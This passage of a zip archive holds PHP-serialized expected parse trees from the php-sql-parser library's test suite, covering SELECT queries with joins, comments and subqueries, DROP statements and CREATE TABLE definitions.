mm";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"mm";}}s:8:"position";i:157;}s:5:"hints";b:0;s:9:"join_type";s:4:"LEFT";s:8:"ref_type";s:2:"ON";s:10:"ref_clause";a:3:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:11:"mm.moduleid";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"mm";i:1;s:8:"moduleid";}}s:8:"sub_tree";b:0;s:8:"position";i:166;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:178;}i:2;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"m.id";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"m";i:1;s:2:"id";}}s:8:"sub_tree";b:0;s:8:"position";i:180;}}s:9:"base_expr";s:46:"kj9un_modules_menu AS mm ON mm.moduleid = m.id";s:8:"sub_tree";b:0;s:8:"position";i:138;}i:2;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:16:"kj9un_extensions";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:16:"kj9un_extensions";}}s:5:"alias";a:5:{s:2:"as";b:1;s:4:"name";s:1:"e";s:9:"base_expr";s:4:"AS e";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"e";}}s:8:"position";i:220;}s:5:"hints";b:0;s:9:"join_type";s:4:"LEFT";s:8:"ref_type";s:2:"ON";s:10:"ref_clause";a:7:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:9:"e.element";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"e";i:1;s:7:"element";}}s:8:"sub_tree";b:0;s:8:"position";i:228;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:238;}i:2;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:8:"m.module";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"m";i:1;s:6:"module";}}s:8:"sub_tree";b:0;s:8:"position";i:240;}i:3;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"AND";s:8:"sub_tree";b:0;s:8:"position";i:249;}i:4;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:11:"e.client_id";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"e";i:1;s:9:"client_id";}}s:8:"sub_tree";b:0;s:8:"position";i:253;}i:5;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:265;}i:6;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:11:"m.client_id";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"m";i:1;s:9:"client_id";}}s:8:"sub_tree";b:0;s:8:"position";i:267;}}s:9:"base_expr";s:75:"kj9un_extensions AS e ON e.element = m.module AND e.client_id = m.client_id";s:8:"sub_tree";b:0;s:8:"position";i:203;}}s:5:"WHERE";a:25:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:11:"m.published";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"m";i:1;s:9:"published";}}s:8:"sub_tree";b:0;s:8:"position";i:293;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:305;}i:2;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;s:8:"position";i:307;}i:3;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"AND";s:8:"sub_tree";b:0;s:8:"position";i:309;}i:4;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:9:"e.enabled";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"e";i:1;s:7:"enabled";}}s:8:"sub_tree";b:0;s:8:"position";i:313;}i:5;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:323;}i:6;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;s:8:"position";i:325;}i:7;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"AND";s:8:"sub_tree";b:0;s:8:"position";i:327;}i:8;a:4:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:79:"(m.publish_up = '0000-00-00 00:00:00' OR m.publish_up <= '2012-04-21 09:44:01')";s:8:"sub_tree";a:7:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:12:"m.publish_up";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"m";i:1;s:10:"publish_up";}}s:8:"sub_tree";b:0;s:8:"position";i:332;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:345;}i:2;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:21:"'0000-00-00 00:00:00'";s:8:"sub_tree";b:0;s:8:"position";i:347;}i:3;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:"OR";s:8:"sub_tree";b:0;s:8:"position";i:369;}i:4;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:12:"m.publish_up";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"m";i:1;s:10:"publish_up";}}s:8:"sub_tree";b:0;s:8:"position";i:372;}i:5;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:"<=";s:8:"sub_tree";b:0;s:8:"position";i:385;}i:6;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:21:"'2012-04-21 09:44:01'";s:8:"sub_tree";b:0;s:8:"position";i:388;}}s:8:"position";i:331;}i:9;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"AND";s:8:"sub_tree";b:0;s:8:"position";i:411;}i:10;a:4:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:83:"(m.publish_down = '0000-00-00 00:00:00' OR m.publish_down >= '2012-04-21 09:44:01')";s:8:"sub_tree";a:7:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:14:"m.publish_down";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"m";i:1;s:12:"publish_down";}}s:8:"sub_tree";b:0;s:8:"position";i:416;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:431;}i:2;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:21:"'0000-00-00 00:00:00'";s:8:"sub_tree";b:0;s:8:"position";i:433;}i:3;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:"OR";s:8:"sub_tree";b:0;s:8:"position";i:455;}i:4;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:14:"m.publish_down";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"m";i:1;s:12:"publish_down";}}s:8:"sub_tree";b:0;s:8:"position";i:458;}i:5;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:">=";s:8:"sub_tree";b:0;s:8:"position";i:473;}i:6;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:21:"'2012-04-21 09:44:01'";s:8:"sub_tree";b:0;s:8:"position";i:476;}}s:8:"position";i:415;}i:11;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"AND";s:8:"sub_tree";b:0;s:8:"position";i:499;}i:12;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:8:"m.access";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"m";i:1;s:6:"access";}}s:8:"sub_tree";b:0;s:8:"position";i:503;}i:13;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:"IN";s:8:"sub_tree";b:0;s:8:"position";i:512;}i:14;a:4:{s:9:"expr_type";s:7:"in-list";s:9:"base_expr";s:5:"(1,1)";s:8:"sub_tree";a:2:{i:0;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;s:8:"position";i:516;}i:1;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;s:8:"position";i:518;}}s:8:"position";i:515;}i:15;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"AND";s:8:"sub_tree";b:0;s:8:"position";i:521;}i:16;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:11:"m.client_id";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"m";i:1;s:9:"client_id";}}s:8:"sub_tree";b:0;s:8:"position";i:525;}i:17;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:537;}i:18;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"0";s:8:"sub_tree";b:0;s:8:"position";i:539;}i:19;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"AND";s:8:"sub_tree";b:0;s:8:"position";i:541;}i:20;a:4:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:35:"(mm.menuid = 170 OR mm.menuid <= 0)";s:8:"sub_tree";a:7:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:9:"mm.menuid";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"mm";i:1;s:6:"menuid";}}s:8:"sub_tree";b:0;s:8:"position";i:546;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:556;}i:2;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"170";s:8:"sub_tree";b:0;s:8:"position";i:558;}i:3;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:"OR";s:8:"sub_tree";b:0;s:8:"position";i:562;}i:4;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:9:"mm.menuid";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"mm";i:1;s:6:"menuid";}}s:8:"sub_tree";b:0;s:8:"position";i:565;}i:5;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:"<=";s:8:"sub_tree";b:0;s:8:"position";i:575;}i:6;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"0";s:8:"sub_tree";b:0;s:8:"position";i:578;}}s:8:"position";i:545;}i:21;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"AND";s:8:"sub_tree";b:0;s:8:"position";i:581;}i:22;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:10:"m.language";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"m";i:1;s:8:"language";}}s:8:"sub_tree";b:0;s:8:"position";i:585;}i:23;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:"IN";s:8:"sub_tree";b:0;s:8:"position";i:596;}i:24;a:4:{s:9:"expr_type";s:7:"in-list";s:9:"base_expr";s:13:"('en-GB','*')";s:8:"sub_tree";a:2:{i:0;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:7:"'en-GB'";s:8:"sub_tree";b:0;s:8:"position";i:600;}i:1;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'*'";s:8:"sub_tree";b:0;s:8:"position";i:608;}}s:8:"position";i:599;}}s:5:"ORDER";a:2:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:10:"m.position";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"m";i:1;s:8:"position";}}s:8:"sub_tree";b:0;s:9:"direction";s:3:"ASC";s:8:"position";i:630;}i:1;a:6:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:10:"m.ordering";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"m";i:1;s:8:"ordering";}}s:8:"sub_tree";b:0;s:9:"direction";s:3:"ASC";s:8:"position";i:642;}}}PK     \p  p  I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue80b.serializednu [        a:4:{s:6:"SELECT";a:1:{i:0;a:6:{s:9:"expr_type";s:10:"expression";s:5:"alias";a:5:{s:2:"as";b:0;s:4:"name";s:6:"`test`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"test";}}s:9:"base_expr";s:6:"`test`";s:8:"position";i:11;}s:9:"base_expr";s:10:"x+3 `test`";s:8:"sub_tree";a:3:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"x";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"x";}}s:8:"sub_tree";b:0;s:8:"position";i:7;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"+";s:8:"sub_tree";b:0;s:8:"position";i:8;}i:2;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"3";s:8:"sub_tree";b:0;s:8:"position";i:9;}}s:5:"delim";b:0;s:8:"position";i:7;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:7:"`model`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"model";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:7:"`model`";s:8:"sub_tree";b:0;s:8:"position";i:23;}}s:5:"WHERE";a:3:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:8:"`marker`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"marker";}}s:8:"sub_tree";b:0;s:8:"position";i:37;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:45;}i:2;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:12:"'this_model'";s:8:"sub_tree";b:0;s:8:"position";i:46;}}s:5:"ORDER";a:1:{i:0;a:5:{s:9:"expr_type";s:5:"alias";s:9:"base_expr";s:6:"`test`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"test";}}s:9:"direction";s:3:"ASC";s:8:"position";i:68;}}}PK     \J    I  vendor/greenlion/php-sql-parser/tests/expected/parser/comment5.serializednu [        a:3:{s:6:"SELECT";a:1:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:4:"test";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"test";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:4:"test";s:8:"sub_tree";b:0;}}s:5:"LIMIT";a:3:{s:6:"offset";s:0:"";s:8:"rowcount";s:2:"10";s:8:"comments";a:1:{i:0;a:2:{s:9:"expr_type";s:7:"comment";s:5:"value";s:34:"-- inline comment in LIMIT section";}}}}PK     \ Ɓ    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue74a.serializednu [        a:1:{s:4:"DROP";a:4:{s:9:"expr_type";s:8:"database";s:6:"option";b:0;s:9:"if-exists";b:0;s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:8:"DATABASE";s:8:"position";i:5;}i:1;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:4:"blah";s:8:"sub_tree";a:1:{i:0;a:5:{s:9:"expr_type";s:8:"database";s:9:"base_expr";s:4:"blah";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"blah";}}s:5:"delim";b:0;s:8:"position";i:14;}}s:8:"position";i:14;}}}}PK     \u+  +  I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue248.serializednu [        a:2:{s:4:"DROP";a:4:{s:9:"expr_type";s:5:"index";s:6:"option";b:0;s:9:"if-exists";b:0;s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"INDEX";}}}s:5:"INDEX";a:6:{s:9:"base_expr";s:4:"test";s:4:"name";s:4:"test";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"test";}}s:10:"index-type";b:0;s:2:"on";a:5:{s:9:"expr_type";s:5:"table";s:9:"base_expr";s:12:" on wp_posts";s:4:"name";s:8:"wp_posts";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:8:"wp_posts";}}s:8:"sub_tree";b:0;}s:7:"options";b:0;}}PK     \\jھ\  \  K  vendor/greenlion/php-sql-parser/tests/expected/parser/subselect3.serializednu [        a:2:{s:6:"SELECT";a:1:{i:0;a:5:{s:9:"expr_type";s:10:"expression";s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:1:"b";s:9:"base_expr";s:4:"as b";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"b";}}}s:9:"base_expr";s:41:"(-- comment
select colA FRom TableA) as b";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:8:"subquery";s:9:"base_expr";s:36:"(-- comment
select colA FRom TableA)";s:8:"sub_tree";a:2:{s:6:"SELECT";a:1:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:4:"colA";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"colA";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:6:"TableA";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"TableA";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:6:"TableA";s:8:"sub_tree";b:0;}}}}}s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:4:"test";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"test";}}s:5:"alias";a:4:{s:2:"as";b:0;s:4:"name";s:1:"t";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"t";}}s:9:"base_expr";s:1:"t";}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:6:"test t";s:8:"sub_tree";b:0;}}}
PK     \G7H  H  I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue33f.serializednu [        a:2:{s:6:"CREATE";a:4:{s:9:"expr_type";s:5:"table";s:10:"not-exists";b:0;s:9:"base_expr";s:5:"TABLE";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"TABLE";}}}s:5:"TABLE";a:5:{s:9:"base_expr";s:14:""cachetable01"";s:4:"name";s:14:""cachetable01"";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:12:"cachetable01";}}s:10:"create-def";a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:196:" (
        "sp_id" varchar(240) DEFAULT NULL,
        "ro" varchar(240) DEFAULT NULL,
        "balance" varchar(240) DEFAULT NULL,
        "last_cache_timestamp" varchar(25) DEFAULT NULL
        )";s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:33:""sp_id" varchar(240) DEFAULT NULL";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:7:""sp_id"";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"sp_id";}}}i:1;a:7:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:25:"varchar(240) DEFAULT NULL";s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:7:"varchar";s:6:"length";s:3:"240";}i:1;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:5:"(240)";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"240";}}}i:2;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:7:"DEFAULT";}i:3;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"NULL";}}s:6:"unique";b:0;s:8:"nullable";b:1;s:8:"auto_inc";b:0;s:7:"primary";b:0;}}}i:1;a:3:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:30:""ro" varchar(240) DEFAULT NULL";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:""ro"";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"ro";}}}i:1;a:7:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:25:"varchar(240) DEFAULT NULL";s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:7:"varchar";s:6:"length";s:3:"240";}i:1;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:5:"(240)";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"240";}}}i:2;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:7:"DEFAULT";}i:3;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"NULL";}}s:6:"unique";b:0;s:8:"nullable";b:1;s:8:"auto_inc";b:0;s:7:"primary";b:0;}}}i:2;a:3:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:35:""balance" varchar(240) DEFAULT NULL";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:9:""balance"";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:7:"balance";}}}i:1;a:7:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:25:"varchar(240) DEFAULT NULL";s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:7:"varchar";s:6:"length";s:3:"240";}i:1;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:5:"(240)";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"240";}}}i:2;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:7:"DEFAULT";}i:3;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"NULL";}}s:6:"unique";b:0;s:8:"nullable";b:1;s:8:"auto_inc";b:0;s:7:"primary";b:0;}}}i:3;a:3:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:47:""last_cache_timestamp" varchar(25) DEFAULT NULL";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:22:""last_cache_timestamp"";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:20:"last_cache_timestamp";}}}i:1;a:7:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:24:"varchar(25) DEFAULT NULL";s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:7:"varchar";s:6:"length";s:2:"25";}i:1;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:4:"(25)";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"25";}}}i:2;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:7:"DEFAULT";}i:3;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"NULL";}}s:6:"unique";b:0;s:8:"nullable";b:1;s:8:"auto_inc";b:0;s:7:"primary";b:0;}}}}}s:7:"options";a:2:{i:0;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:13:"ENGINE=InnoDB";s:5:"delim";s:1:" ";s:8:"sub_tree";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"ENGINE";}i:1;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:2;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:6:"InnoDB";}}}i:1;a:4:{s:9:"expr_type";s:13:"character-set";s:9:"base_expr";s:28:"DEFAULT CHARACTER SET=latin1";s:5:"delim";s:1:" ";s:8:"sub_tree";a:5:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:7:"DEFAULT";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"CHARACTER";}i:2;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:3:"SET";}i:3;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:4;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:6:"latin1";}}}}}}PK     \6    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue33m.serializednu [        a:2:{s:6:"CREATE";a:4:{s:9:"expr_type";s:5:"table";s:10:"not-exists";b:0;s:9:"base_expr";s:5:"TABLE";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"TABLE";}}}s:5:"TABLE";a:6:{s:9:"base_expr";s:2:"ti";s:4:"name";s:2:"ti";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"ti";}}s:10:"create-def";a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:44:" (id INT, amount DECIMAL(7,2), tr_date DATE)";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:6:"id INT";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:2:"id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"id";}}}i:1;a:7:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:3:"INT";s:8:"sub_tree";a:1:{i:0;a:5:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:3:"INT";s:8:"unsigned";b:0;s:8:"zerofill";b:0;s:6:"length";b:0;}}s:6:"unique";b:0;s:8:"nullable";b:1;s:8:"auto_inc";b:0;s:7:"primary";b:0;}}}i:1;a:3:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:19:"amount DECIMAL(7,2)";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:6:"amount";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"amount";}}}i:1;a:7:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:12:"DECIMAL(7,2)";s:8:"sub_tree";a:2:{i:0;a:6:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:7:"DECIMAL";s:8:"unsigned";b:0;s:8:"zerofill";b:0;s:6:"length";s:1:"7";s:8:"decimals";s:1:"2";}i:1;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:5:"(7,2)";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"7";s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"2";s:8:"sub_tree";b:0;}}}}s:6:"unique";b:0;s:8:"nullable";b:1;s:8:"auto_inc";b:0;